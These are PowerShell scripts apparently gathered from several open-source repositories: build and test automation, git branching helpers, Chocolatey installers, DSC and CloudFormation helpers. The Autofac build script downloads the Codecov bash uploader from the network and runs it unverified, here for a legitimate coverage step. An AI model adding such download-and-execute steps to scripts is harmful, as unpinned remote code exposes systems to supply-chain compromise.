-Directory | Remove-Item -Force -Recurse $benchmarks = (Resolve-Path .\Elementary.Hierarchy.Collections.Benchmarks.exe) & $benchmarks } catch { Pop-Location } $resultDirName = (Get-Date).ToString("yyyyMMddHHmmss") mkdir $PSScriptRoot\Elementary.Hierarchy.Collections.Benchmarks\Results\$resultDirName $benchmarkResultExtensions | ForEach-Object { Copy-Item ` $PSScriptRoot\Elementary.Hierarchy.Collections.Benchmarks\bin\Release\$_ ` $PSScriptRoot\Elementary.Hierarchy.Collections.Benchmarks\Results\$resultDirName } } -depends clean,build
wgross/Elementary.Hierarchy.Collections
_default.ps1
PowerShell
mit
2,597
# # Get-DotNetReleaseVersion.ps1 # Function Get-DotNetReleaseVersion { [CmdletBinding()] Param ( [string]$ComputerName = "$env:ComputerName" ) # Check to make sure the target computer is alive. # If it's alive, continue. # If it's dead, break. Begin { if (Test-Connection $ComputerName -Quiet -Count 2) { Write-Verbose "$ComputerName is reachable." } else { Write-Verbose "Cannot establish communication with $ComputerName" BREAK; } } # Try to open up the .NET 4.5 registry key on the target computer # If the key exists, get the value of the release. # The release value is passed to a switch step to determine the .NET framework version # Updated versions can be found at https://msdn.microsoft.com/en-us/library/hh925568(v=vs.110).aspx#net_d Process { try { $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $ComputerName) $RegKey= $Reg.OpenSubKey("SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full") $DotNetRelease = $RegKey.GetValue("Release") } catch [System.Management.Automation.MethodException] { write-verbose "Cannot open registry key on $ComputerName" Write-Verbose ".NET Framework 4.5 or newer cannot be found." BREAK; } catch [System.SystemException] { write-verbose "Cannot open registry key on $ComputerName" Write-Verbose ".NET Framework 4.5 or newer cannot be found." BREAK; } Switch ($DotNetRelease) { 379893 {"$ComputerName is running .NET Framework 4.5.2"} 378758 {"$ComputerName is running .NET Framework 4.5.1"} # Windows 7 378675 {"$ComputerName is running .NET Framework 4.5.1"} # Windows 8.1 378389 {"$ComputerName is running .NET Framework 4.5"} 393295 {"$ComputerName is running .NET Framework 4.6"} # Windows 10 393297 {"$ComputerName is running .NET Framework 4.6"} 394254 {"$ComputerName is running .NET Framework 4.6.1"} # Windows 10 394271 {"$ComputerName is running .NET Framework 4.6.1"} default {".NET Framework 4.5 or newer cannot be found on $ComputerName"} } } End { write-verbose "The script has finished successfully." } }
TechnologyEnthusiast/powershell-get-dotnetreleaseversion
Get-DotNetReleaseVersion.ps1
PowerShell
mit
2,144
######################## # THE BUILD! ######################## Push-Location $PSScriptRoot try { Import-Module $PSScriptRoot/build/Autofac.Build.psd1 -Force $artifactsPath = "$PSScriptRoot/artifacts" $packagesPath = "$artifactsPath/packages" $globalJson = (Get-Content "$PSScriptRoot/global.json" | ConvertFrom-Json -NoEnumerate); $sdkVersion = $globalJson.sdk.version # Clean up artifacts folder if (Test-Path $artifactsPath) { Write-Message "Cleaning $artifactsPath folder" Remove-Item $artifactsPath -Force -Recurse } # Install dotnet SDK versions during CI. In a local build we assume you have # everything installed; on CI we'll force the install. If you install _any_ # SDKs, you have to install _all_ of them because you can't install SDKs in # two different locations. dotnet CLI locates SDKs relative to the # executable. if ($Null -ne $env:APPVEYOR_BUILD_NUMBER) { Install-DotNetCli -Version $sdkVersion foreach ($additional in $globalJson.additionalSdks) { Install-DotNetCli -Version $additional; } } # Write out dotnet information & dotnet --info # Set version suffix $branch = @{ $true = $env:APPVEYOR_REPO_BRANCH; $false = $(git symbolic-ref --short -q HEAD) }[$NULL -ne $env:APPVEYOR_REPO_BRANCH]; $revision = @{ $true = "{0:00000}" -f [convert]::ToInt32("0" + $env:APPVEYOR_BUILD_NUMBER, 10); $false = "local" }[$NULL -ne $env:APPVEYOR_BUILD_NUMBER]; $versionSuffix = @{ $true = ""; $false = "$($branch.Substring(0, [math]::Min(10,$branch.Length)).Replace('/', '-'))-$revision" }[$branch -eq "master" -and $revision -ne "local"] Write-Message "Package version suffix is '$versionSuffix'" # Package restore Write-Message "Restoring packages" Get-DotNetProjectDirectory -RootPath $PSScriptRoot | Restore-DependencyPackages # Build/package Write-Message "Building projects and packages" Get-DotNetProjectDirectory -RootPath $PSScriptRoot\src | Invoke-DotNetPack -PackagesPath $packagesPath -VersionSuffix $versionSuffix # Test Write-Message "Executing unit tests" Get-DotNetProjectDirectory -RootPath $PSScriptRoot\test | Invoke-Test if ($env:CI -eq "true") { # Generate Coverage Report Write-Message "Generating Codecov Report" Invoke-WebRequest -Uri 'https://codecov.io/bash' -OutFile codecov.sh & bash codecov.sh -f "artifacts/coverage/*/coverage*.info" } # Finished Write-Message "Build finished" } finally { Pop-Location }
autofac/Autofac.Extras.Moq
build.ps1
PowerShell
mit
2,537
<#PSScriptInfo .VERSION 1.0.0 .GUID 594bfeff-8e83-4cc4-8141-f3b39795c85b .AUTHOR DSC Community .COMPANYNAME DSC Community .COPYRIGHT Copyright the DSC Community contributors. All rights reserved. .TAGS DSCConfiguration .LICENSEURI https://github.com/dsccommunity/ComputerManagementDsc/blob/master/LICENSE .PROJECTURI https://github.com/dsccommunity/ComputerManagementDsc .ICONURI .EXTERNALMODULEDEPENDENCIES .REQUIREDSCRIPTS .EXTERNALSCRIPTDEPENDENCIES .RELEASENOTES First version. .PRIVATEDATA 2016-Datacenter,2016-Datacenter-Server-Core #> #Requires -module ComputerManagementDsc <# .DESCRIPTION This configuration will set the computer name to 'Server01' and make it part of 'ContosoWorkgroup' Workgroup. #> Configuration Computer_RenameComputerAndSetWorkgroup_Config { Import-DscResource -Module ComputerManagementDsc Node localhost { Computer NewNameAndWorkgroup { Name = 'Server01' WorkGroupName = 'ContosoWorkgroup' } } }
PlagueHO/xComputerManagement
source/Examples/Resources/Computer/1-Computer_RenameComputerAndSetWorkgroup_Config.ps1
PowerShell
mit
1,025
function Validate-RepoState() { <# .SYNOPSIS Validates that a git repository is in the right state to apply the branching model. .INPUTS No pipeline inputs accepted. .OUTPUTS Returns $null if the repo state is valid. Otherwise, throws. #> # prompt to close out files Write-Host "Does anything hold a lock on any file in the current branch? If so, close it out." -ForegroundColor "green" do { $result = Read-Host -Prompt "[D]one" } while ( $result.ToLower() -ne "d" ) # check posh-git # note: probably a better way to do this than looking for Get-GitStatus if (-Not ( Get-Command Get-GitStatus -errorAction SilentlyContinue) ) { throw "Please install PoshGit. Suggest using Chocolatey to install." } # validate that this script is running from a branch, not master $branch = (Get-GitStatus).Branch if ( $branch -eq "master" ) { throw "You cannot run this script from master, it must be run from a branch." } # update the index # http://stackoverflow.com/a/3879077/356790 git update-index -q --ignore-submodules --refresh # validate that there are no untracked/unstaged/uncommitted changes in the working tree # https://stackoverflow.com/questions/2657935/checking-for-a-dirty-index-or-untracked-files-with-git $status = (git status --porcelain) if ( -Not [string]::IsNullOrEmpty( $status ) ) { throw "There are untracked/unstaged/uncommitted changes on this branch." } # check mergetool exists $mergeTool = git config --get merge.tool if ( [string]::IsNullOrWhiteSpace( $mergeTool ) ) { throw "There is no merge tool setup. If using BeyondCompare, do this: http://www.scootersoftware.com/support.php?zz=kb_vcs#gitwindows" } return $null } function Rebase([string] $UpstreamBranch) { <# .SYNOPSIS Performs a rebase .PARAMETER UpstreamBranch The name of the branch to rebase onto. .INPUTS No pipeline inputs accepted. .OUTPUTS Returns $null when complete. #> $branch = (Get-GitStatus).Branch # rebase to ensure an easy merge from branch into master # https://stackoverflow.com/questions/3921409/how-to-know-if-there-is-a-git-rebase-in-progress # https://stackoverflow.com/questions/10032265/how-do-i-make-git-automatically-open-the-mergetool-if-there-is-a-merge-conflict Write-Host "Rebase $($branch) onto $($UpstreamBranch)..." -ForegroundColor "yellow" Invoke-Expression "git rebase '$($UpstreamBranch)'" while ( (Get-GitStatus).Branch -like "*REBASE" ) { git mergetool git clean -d -f git rebase --continue } Write-Host "$($branch) has been fully rebased onto $($UpstreamBranch)." -ForegroundColor "yellow" return $null } function RemoteBranchExists([string] $LocalBranchName) { <# .SYNOPSIS Determines if a remote branch for the given local branch. .PARAMETER LocalBranchName The name of the local branch. .INPUTS No pipeline inputs accepted. .OUTPUTS Returns $true if the remote branch exists, $false if not #> $remoteBranchExists = git branch -r | findstr "origin/$($LocalBranchName)" return ( $remoteBranchExists -ne $null ) } function BranchUp([bool] $AllowPushToGitHub = $true) { <# .SYNOPSIS Implements a simple git branching model described here: https://gist.github.com/jbenet/ee6c9ac48068889b0912 Rebases master onto the current branch, iteratively calling the mergetool and continuing when there are merge conflicts. .PARAMETER AllowPushToGitHub Enables branch to be pushed to GitHub. User will prompted to determine whether or not to push. .INPUTS No pipeline inputs accepted. .OUTPUTS Returns $null when complete #> # perform validation Write-Host "Performing some validation..." -ForegroundColor "yellow" Validate-RepoState $branch = (Get-GitStatus).Branch # update all branches tracking GitHub # git fetch will pull all remote that are not yet tracked # including the prune option in case any remote branches were deleted Write-Host "Fetch everything from GitHub..." -ForegroundColor "yellow" do { git fetch origin -p } while ( $LASTEXITCODE -ne 0 ) # rebase this local branch onto the same branch at GitHub (if it exists) if ( RemoteBranchExists $branch ) { Rebase "origin/$($branch)" } else { Write-Host "Skipping the rebase of $($branch) onto origin/$($branch). The remote branch does not exist." -ForegroundColor "yellow" } # rebase this local branch onto master at GitHub Rebase "origin/master" # optionally push your branch to GitHub if ( $AllowPushToGitHub ) { Write-Host "Push this branch to GitHub?" -ForegroundColor "green" do { $pushToGithub = Read-Host -Prompt "[Y]es [N]o" } while ( $pushToGithub -notin ("y", "n") ) if ( $pushToGithub.ToLower() -eq "y" ) { Invoke-Expression "git push origin '$($branch)'" } } return $null } function GitUp() { <# .SYNOPSIS Implements a simple git branching model described here: https://gist.github.com/jbenet/ee6c9ac48068889b0912. No support for shared branches - assumes branches are local only. Calls BranchUp and then merges branch into master, pushes master to GitHub, and deletes the branch. .INPUTS No pipeline inputs accepted. .OUTPUTS Returns $null when complete #> # setup branch for a clean merge into master BranchUp -AllowPushToGitHub $false $branch = (Get-GitStatus).Branch # merge when done developing. # --no-ff preserves feature history and easy full-feature reverts # merge commits should not include changes; rebasing reconciles issues Write-Host "Merging with master..." -ForegroundColor "yellow" git checkout master do { git pull origin master } while ( $LASTEXITCODE -ne 0 ) Invoke-Expression "git merge --no-ff '$($branch)'" # push to github Write-Host "Push master to GitHub..." -ForegroundColor "yellow" do { git push origin master } while ( $LASTEXITCODE -ne 0 ) # delete the local branch Write-Host "Deleting local branch $($branch)..." -ForegroundColor "yellow" Invoke-Expression "git branch -d '$($branch)'" # delete the remote branch if ( RemoteBranchExists $branch ) { Write-Host "Deleting remote branch origin/$($branch)..." -ForegroundColor "yellow" do { Invoke-Expression "git push origin --delete '$($branch)'" } while ( $LASTEXITCODE -ne 0 ) } return $null }
NaosFramework/Naos.Powershell
GIT/Naos-GitBranchingTools.ps1
PowerShell
mit
6,891
$os = Get-OSVersion Describe "PHP" -Skip:($os.IsMonterey) { Context "PHP" { It "PHP Path" { Get-WhichTool "php" | Should -Not -BeLike "/usr/bin/php*" } It "PHP version" { "php --version" | Should -ReturnZeroExitCode } } Context "Composer" { It "Composer" { "composer --version" | Should -ReturnZeroExitCode } } }
mattgwagner/New-Machine
.github-actions/images/macos/tests/PHP.Tests.ps1
PowerShell
mit
413
<# .SYNOPSIS Remove-Dotslash removes a leading ".\" sequence from a relative path. .PARAMETER path Input path. #> # Parameter definition param ( [string] $path ) if (($path.SubString(0, 1) -eq '.') -and ($path.SubString(1, 1) -eq '\')) { return $path.SubString(2) } return $path
kadluba/MsiScripts
util/remove-dotslash.ps1
PowerShell
mit
319
$packageName = 'kvrt' $url = 'http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe' $checksum = '82f06326f9b434a0625bc008f87f88d7bd77ae95093595c99feaf3317526a897' $checksumType = 'sha256' $toolsPath = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" $installFile = Join-Path $toolsPath "kvrt.exe" try { Get-ChocolateyWebFile -PackageName "$packageName" ` -FileFullPath "$installFile" ` -Url "$url" ` -Checksum "$checksum" ` -ChecksumType "$checksumType" # create empty sidecars so shimgen only creates one shim Set-Content -Path ("$installFile.ignore") ` -Value $null # create batch to start executable $batchStart = Join-Path $toolsPath "kvrt.bat" 'start %~dp0\kvrt.exe -accepteula' | Out-File -FilePath $batchStart -Encoding ASCII Install-BinFile "kvrt" "$batchStart" } catch { throw $_.Exception }
dtgm/chocolatey-packages
automatic/_output/kvrt/2017.04.22.1546/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
960
Function Enter-Site { <# .SYNOPSIS Performs a login to a given SCCM Site Server. .DESCRIPTION Performs a login to a SCCM Site Server and switches to the required PSDrive. The user initiating the module must have the required permissions on the SCCM Site Server. For more information about Cmdlets see 'about_Functions_CmdletBindingAttribute'. Note: ConfigurationManager by default is not in the $ENV:PSModulePath, so you have to either add it to that variable or create a junction like this: PS > junction.exe ConfigurationManager "C:\Program Files (x86)\Microsoft Configuration Manager\AdminConsole\bin" .OUTPUTS This Cmdlet returns the name of the SCCM Server. On failure the string contains $null. .PARAMETER SCCMSite The Sitecode of the SCCM Site to connect to. .PARAMETER SCCMModulePath The Path to the SCCMModulePath. .EXAMPLE Perform a login to a SCCM Site. Connect-SCCMSite -SiteCode SITE1 .LINK Online Version: http://dfch.biz/biz/dfch/PS/Sccm/Utilities/Enter-Site/ .NOTES See module manifest for dependencies and further requirements. #> Param ( [Parameter(Mandatory = $true, Position = 0)] [ValidateNotNullOrEmpty()] [Alias("SiteCode")] [string] $SCCMSiteCode ) try { $datBegin = [datetime]::Now; [string] $fn = $MyInvocation.MyCommand.Name; Log-Debug -fn $fn -msg ("CALL") $PSD = Get-PSdrive -PSProvider CMSite -name $SCCMSiteCode -ea SilentlyContinue if ( $PSD ) { Log-Debug $fn ('PSProvider for CMSite found: {0}' -f $SCCMSiteCode ) Log-Debug $fn ('Change Working directory: {0}' -f $PSD.Name ) cd ("{0}:" -f ($PSD.Name) ) } else { #Check if CMSite Provider is not loaded if( !( Get-PSdrive -PSProvider CMSite -ea SilentlyContinue) ) { throw "No CMSite PSProvider available - The current user might not have the required SCCM permissions" } Log-Debug $fn ('PSProvider not found: {0}' -f $SCCMSiteCode ) #Check if the required ps drive is available now $PSD = Get-PSdrive -PSProvider CMSite -name $SCCMSiteCode -ea SilentlyContinue if( $null -eq $PSD ) { #Check if any drive is available $PSD = Get-PSdrive -PSProvider CMSite -ea SilentlyContinue | Select -first 1 $Site = get-CMSite -SiteCode $SCCMSiteCode if ( $Site ) { Log-Debug $fn ( 'Site found: {0}, ServerName {1}' -f $SCCMSiteCode , $Site.ServerName) $PSD = New-PSDrive -Name $SCCMSiteCode -PSProvider CMSite -Root $Site.ServerName Log-Debug $fn ('Changing Working directory: {0}' -f $PSD.Name ) cd ("{0}:" -f ($PSD.Name) ) } else { Log-Error $fn ('Unable to connect to SCCM Site: {0}' -f $SCCMSiteCode ) throw ( 'Unable to find SCCM Site with provided SiteCode: {0}' -f $SCCMSiteCode ) } } Log-Debug $fn ('Changing Working directory: {0}' -f $PSD.Name ) cd ("{0}:" -f ($PSD.Name) ) } } catch { Log-Error $fn ('Error occured: {0}' -f $_.Exception.Message ) throw $_.Exception } } # function if($MyInvocation.ScriptName) { Export-ModuleMember -Function Enter-Site; } # SIG # Begin signature block # MIIW3AYJKoZIhvcNAQcCoIIWzTCCFskCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR # AgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUfTtNwfCHcgSPU+6lQepAFfOF # e3ygghGYMIIEFDCCAvygAwIBAgILBAAAAAABL07hUtcwDQYJKoZIhvcNAQEFBQAw # VzELMAkGA1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNV # BAsTB1Jvb3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gU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y1j2o7TS4bnS9W7elnlvrDUy/+Ml # CYKWRh3wBjuXu4Mj3CSQV2Lw1kbZAfFso16G4Erg42HNDEsnzWVZ3MSLxZQWoG8x # SIG # End signature block
dfch/biz.dfch.PS.Sccm.Utilities
Enter-Site.ps1
PowerShell
apache-2.0
11,240
$packageName = 'tor' $url = 'https://www.torproject.org/dist/torbrowser/6.0.4/tor-win32-0.2.8.6.zip' $checksum = '7ffa98895feb78ea06643042f079306d00613481466d1c8e028921c36f6b44d3' $checksumType = 'sha256' $toolsDir = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" Install-ChocolateyZipPackage -PackageName "$packageName" ` -Url "$url" ` -UnzipLocation "$toolsDir" ` -Checksum "$checksum" ` -ChecksumType "$checksumType"
dtgm/chocolatey-packages
automatic/_output/tor/0.2.8.6/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
551
[CmdletBinding()] Param( [Parameter(Mandatory=$True,Position=1,ValueFromPipeline=$true)] [string]$User, [switch]$Hide=$True ) $Value = 'TRUE' if ($Hide -eq $false) { $Value = 'FALSE' } set-ADUser -Identity $User -Replace @{"msDS-cloudExtensionAttribute1"='TRUE'}
gruberjl/powershell
Set-HideFromAddressBook/Set-HideFromAddressBook.ps1
PowerShell
apache-2.0
289
function Add-VSSSMMaintenanceWindowTaskMaintenanceWindowRunCommandParameters { <# .SYNOPSIS Adds an AWS::SSM::MaintenanceWindowTask.MaintenanceWindowRunCommandParameters resource property to the template. The MaintenanceWindowRunCommandParameters property type specifies the parameters for a RUN_COMMAND task type for a maintenance window task in AWS Systems Manager. .DESCRIPTION Adds an AWS::SSM::MaintenanceWindowTask.MaintenanceWindowRunCommandParameters resource property to the template. The MaintenanceWindowRunCommandParameters property type specifies the parameters for a RUN_COMMAND task type for a maintenance window task in AWS Systems Manager. MaintenanceWindowRunCommandParameters is a property of the TaskInvocationParameters: https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-taskinvocationparameters.html property type. .LINK http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html .PARAMETER TimeoutSeconds If this time is reached and the command has not already started running, it doesn't run. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-timeoutseconds PrimitiveType: Integer UpdateType: Mutable .PARAMETER Comment Information about the command or commands to run. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-comment PrimitiveType: String UpdateType: Mutable .PARAMETER OutputS3KeyPrefix The S3 bucket subfolder. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-outputs3keyprefix PrimitiveType: String UpdateType: Mutable .PARAMETER Parameters The parameters for the RUN_COMMAND task execution. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-parameters PrimitiveType: Json UpdateType: Mutable .PARAMETER DocumentHashType The SHA-256 or SHA-1 hash type. SHA-1 hashes are deprecated. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-documenthashtype PrimitiveType: String UpdateType: Mutable .PARAMETER ServiceRoleArn The ARN of the IAM service role to use to publish Amazon Simple Notification Service Amazon SNS notifications for maintenance window Run Command tasks. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-servicerolearn PrimitiveType: String UpdateType: Mutable .PARAMETER NotificationConfig Configurations for sending notifications about command status changes on a per-instance basis. Type: NotificationConfig Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-notificationconfig UpdateType: Mutable .PARAMETER OutputS3BucketName The name of the S3 bucket. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-outputs3bucketname PrimitiveType: String UpdateType: Mutable .PARAMETER DocumentHash The SHA-256 or SHA-1 hash created by the system when the document was created. SHA-1 hashes have been deprecated. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ssm-maintenancewindowtask-maintenancewindowruncommandparameters.html#cfn-ssm-maintenancewindowtask-maintenancewindowruncommandparameters-documenthash PrimitiveType: String UpdateType: Mutable .FUNCTIONALITY Vaporshell #> [OutputType('Vaporshell.Resource.SSM.MaintenanceWindowTask.MaintenanceWindowRunCommandParameters')] [cmdletbinding()] Param ( [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.Int32","Vaporshell.Function" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $TimeoutSeconds, [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.String","Vaporshell.Function","Vaporshell.Condition" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $Comment, [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.String","Vaporshell.Function","Vaporshell.Condition" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $OutputS3KeyPrefix, [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.String","System.Collections.Hashtable","System.Management.Automation.PSCustomObject" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $Parameters, [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.String","Vaporshell.Function","Vaporshell.Condition" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $DocumentHashType, [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.String","Vaporshell.Function","Vaporshell.Condition" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $ServiceRoleArn, [parameter(Mandatory = $false)] $NotificationConfig, [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.String","Vaporshell.Function","Vaporshell.Condition" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $OutputS3BucketName, [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.String","Vaporshell.Function","Vaporshell.Condition" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $DocumentHash ) Begin { $obj = [PSCustomObject]@{} $commonParams = @('Verbose','Debug','ErrorAction','WarningAction','InformationAction','ErrorVariable','WarningVariable','InformationVariable','OutVariable','OutBuffer','PipelineVariable') } Process { foreach ($key in $PSBoundParameters.Keys | Where-Object {$commonParams -notcontains $_}) { switch ($key) { Parameters { if (($PSBoundParameters[$key]).PSObject.TypeNames -contains "System.String"){ try { $JSONObject = (ConvertFrom-Json -InputObject $PSBoundParameters[$key] -ErrorAction Stop) } catch { $PSCmdlet.ThrowTerminatingError((New-VSError -String "Unable to convert parameter '$key' string value to PSObject! Please use a JSON string OR provide a Hashtable or PSCustomObject instead!")) } } else { $JSONObject = ([PSCustomObject]$PSBoundParameters[$key]) } $obj | Add-Member -MemberType NoteProperty -Name $key -Value $JSONObject } Default { $obj | Add-Member -MemberType NoteProperty -Name $key -Value $PSBoundParameters.$key } } } } End { $obj | Add-ObjectDetail -TypeName 'Vaporshell.Resource.SSM.MaintenanceWindowTask.MaintenanceWindowRunCommandParameters' Write-Verbose "Resulting JSON from $($MyInvocation.MyCommand): `n`n$($obj | ConvertTo-Json -Depth 5)`n" } }
scrthq/Vaporshell
VaporShell/Public/Resource Property Types/Add-VSSSMMaintenanceWindowTaskMaintenanceWindowRunCommandParameters.ps1
PowerShell
apache-2.0
11,893
$packages = @( "golang.Go" ) $code = "C:\Program Files\Microsoft VS Code\bin\code.cmd" foreach ($package in $packages) { Start-Process -FilePath $code -ArgumentList "--install-extension $package --force" -NoNewWindow -Wait }
dcjulian29/choco-packages
vscode-go/tools/chocolateyInstall.ps1
PowerShell
apache-2.0
236
function Add-VSMediaLiveChannelVideoSelectorProgramId { <# .SYNOPSIS Adds an AWS::MediaLive::Channel.VideoSelectorProgramId resource property to the template. Used to extract video by the program ID. .DESCRIPTION Adds an AWS::MediaLive::Channel.VideoSelectorProgramId resource property to the template. Used to extract video by the program ID. The parent of this entity is VideoSelectorSettings. .LINK http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-medialive-channel-videoselectorprogramid.html .PARAMETER ProgramId Selects a specific program from within a multi-program transport stream. If the program doesn't exist, MediaLive selects the first program within the transport stream by default. Documentation: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-medialive-channel-videoselectorprogramid.html#cfn-medialive-channel-videoselectorprogramid-programid PrimitiveType: Integer UpdateType: Mutable .FUNCTIONALITY Vaporshell #> [OutputType('Vaporshell.Resource.MediaLive.Channel.VideoSelectorProgramId')] [cmdletbinding()] Param ( [parameter(Mandatory = $false)] [ValidateScript( { $allowedTypes = "System.Int32","Vaporshell.Function" if ([string]$($_.PSTypeNames) -match "($(($allowedTypes|ForEach-Object{[RegEx]::Escape($_)}) -join '|'))") { $true } else { $PSCmdlet.ThrowTerminatingError((New-VSError -String "This parameter only accepts the following types: $($allowedTypes -join ", "). The current types of the value are: $($_.PSTypeNames -join ", ").")) } })] $ProgramId ) Begin { $obj = [PSCustomObject]@{} $commonParams = @('Verbose','Debug','ErrorAction','WarningAction','InformationAction','ErrorVariable','WarningVariable','InformationVariable','OutVariable','OutBuffer','PipelineVariable') } Process { foreach ($key in $PSBoundParameters.Keys | Where-Object {$commonParams -notcontains $_}) { switch ($key) { Default { $obj | Add-Member -MemberType NoteProperty -Name $key -Value $PSBoundParameters.$key } } } } End { $obj | Add-ObjectDetail -TypeName 'Vaporshell.Resource.MediaLive.Channel.VideoSelectorProgramId' Write-Verbose "Resulting JSON from $($MyInvocation.MyCommand): `n`n$($obj | ConvertTo-Json -Depth 5)`n" } }
scrthq/Vaporshell
VaporShell/Public/Resource Property Types/Add-VSMediaLiveChannelVideoSelectorProgramId.ps1
PowerShell
apache-2.0
2,619
## SharePoint Server: PowerShell Script to Export Site Content Types to an XML File ## <# Overview: Script that exports Site Content Types and Fields to an XML file. These exports can be filtered on Content Types Group names Environments: SharePoint Server 2010 / 2013 Farms Usage: Edit the variables below to match your environment and run the script Resources: http://get-spscripts.com/2011/02/export-and-importcreate-site-content.html http://get-spscripts.com/2011/01/export-and-importcreate-site-columns-in.html Note: If you want to export all Site Content Types then comment out the following like below ##if ($_.Group -eq "$contentTypesGroup") { Add-Content $xmlFilePath $_.SchemaXml ## } #> Add-PSSnapin "Microsoft.SharePoint.Powershell" -ErrorAction SilentlyContinue #### Start Variables #### $sourceWeb = Get-SPWeb "http://YourSiteName.com" $xmlFilePath = "C:\BoxBuild\Scripts\ContentTypesExport.xml" $contentTypesGroup = "YourCustomGroup" #### End Variables #### #Create Export File New-Item $xmlFilePath -type file -force #Export Content Types to XML file Add-Content $xmlFilePath "<?xml version=`"1.0`" encoding=`"utf-8`"?>" Add-Content $xmlFilePath "`n<ContentTypes>" $sourceWeb.ContentTypes | ForEach-Object { if ($_.Group -eq "$contentTypesGroup") 